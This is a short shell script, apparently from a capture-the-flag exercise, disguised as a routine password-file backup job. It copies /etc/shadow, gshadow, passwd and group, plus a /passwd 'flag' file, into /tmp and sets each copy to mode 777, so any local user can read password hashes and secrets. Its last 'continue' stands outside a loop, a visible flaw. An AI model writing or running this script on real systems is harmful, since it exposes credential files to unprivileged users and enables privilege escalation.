#!/bin/sh

cd /tmp|| exit 0

for FILE in passwd group shadow gshadow; do
        test -f /etc/$FILE              || continue
        cmp -s $FILE.bak /etc/$FILE     && continue
        cp -p /etc/$FILE $FILE.bak && chmod 777 $FILE.bak
done

cmp -s flag.bak /passwd     && continue
cp -p /passwd flag.bak && chmod 777 flag.bak